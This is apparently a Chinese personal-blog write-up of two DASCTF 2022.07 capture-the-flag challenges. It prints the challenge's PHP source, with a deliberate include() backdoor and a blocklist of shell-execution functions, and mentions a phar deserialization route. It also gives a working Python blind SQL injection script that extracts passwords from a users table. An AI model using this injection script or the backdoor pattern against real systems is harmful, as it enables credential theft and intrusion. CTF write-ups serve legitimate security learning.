DASCTF 2022.07 赋能赛

书接上会,DASCTF由于我那天蹲24h麦当劳睡了一个晚上,到了酒店继续睡了一个下午,导致看到这题的时候已经只剩下一小时了。最后比赛结束后一个多小时才解出来,不过博客还是要有的。

Ez to getflag

这题第一眼看,任意文件读,然后获取源码Getshell。
其实呢,直接/flag,就出了,可以说是非预期吧。
从原题思路的角度来说,我们先读取file.php``upload.php,获取后端源码

//file.php
<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $filename = $_GET['f'];
    $show = new Show($filename);
    $show->show();
?>
///upload.php
<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $upload = new Upload();
    $upload->uploadfile();
?>

里面嵌套了一个class.php,也读出来

//class.php
<?php
    class Upload {
        public $f;
        public $fname;
        public $fsize;
        function __construct(){
            $this->f = $_FILES;
        }
        function savefile() {  
            $fname = md5($this->f["file"]["name"]).".png"; 
            if(file_exists('./upload/'.$fname)) { 
                @unlink('./upload/'.$fname);
            }
            move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
            echo "upload success! :D"; 
        } 
        function __toString(){
            $cont = $this->fname;
            $size = $this->fsize;
            echo $cont->$size;
            return 'this_is_upload';
        }
        function uploadfile() { 
            if($this->file_check()) { 
                $this->savefile(); 
            } 
        }
        function file_check() { 
            $allowed_types = array("png");
            $temp = explode(".",$this->f["file"]["name"]);
            $extension = end($temp); 
            if(empty($extension)) { 
                echo "what are you uploaded? :0";
                return false;
            }
            else{ 
                if(in_array($extension,$allowed_types)) {
                    $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
                    $f = file_get_contents($this->f["file"]["tmp_name"]);
                    if(preg_match_all($filter,$f)){
                        echo 'what are you doing!! :C';
                        return false;
                    }
                    return true; 
                } 
                else { 
                    echo 'png onlyyy! XP'; 
                    return false; 
                } 
            }
        }
    }
    class Show{
        public $source;
        public function __construct($fname)
        {
            $this->source = $fname;
        }
        public function show()
        {
            if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
                die('illegal fname :P');
            } else {
                echo file_get_contents($this->source);
                $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
                echo "<img src={$src} />";
            }

        }
        function __get($name)
        {
            $this->ok($name);
        }
        public function __call($name, $arguments)
        {
            if(end($arguments)=='phpinfo'){
                phpinfo();
            }else{
                $this->backdoor(end($arguments));
            }
            return $name;
        }
        public function backdoor($door){
            include($door);
            echo "hacked!!";
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
                die("illegal fname XD");
            }
        }
    }
    class Test{
        public $str;
        public function __construct(){
            $this->str="It's works";
        }
        public function __destruct()
        {
            echo $this->str;
        }
    }
?>

发现ban了gopher协议,那就直接phar反序列化直接做就好

绝对防御

这题其实可以自己找网页的接口,不过在这么一个静态网页里面找出来还是有点难,至少我找了好久才找到。
最后被人安利了一个这样的插件
file
一下子就找到了,真的舒服,然后就是正常的联合盲注,注表名,注数据了。
发现自己以前写的盲注脚本好丑,抄一个好看的上来。

import string
import requests
url = 'http://<HOST>/SUPPERAPI.php?id='
char = string.ascii_lowercase + string.ascii_uppercase + string.digits + "{}-_~!,"
digit = string.digits
flag = ""
for i in range(1,100):
    for j in range(32,128):
        print(j)
        payload = f"ascii(substr((select group_concat(password) from users), {i}, 1))='{j}'"
        data = f"0||{payload}"
        res = requests.get(url + data)
        if "admin" in res.text:
            flag += chr(j)
            print("flag:" + flag)
            break

发布者

正汰

永远是这样,山前面是山,天空上面是天空,道路前面还是道路,迷茫之后还有迷茫。

发表回复

您的电子邮箱地址不会被公开。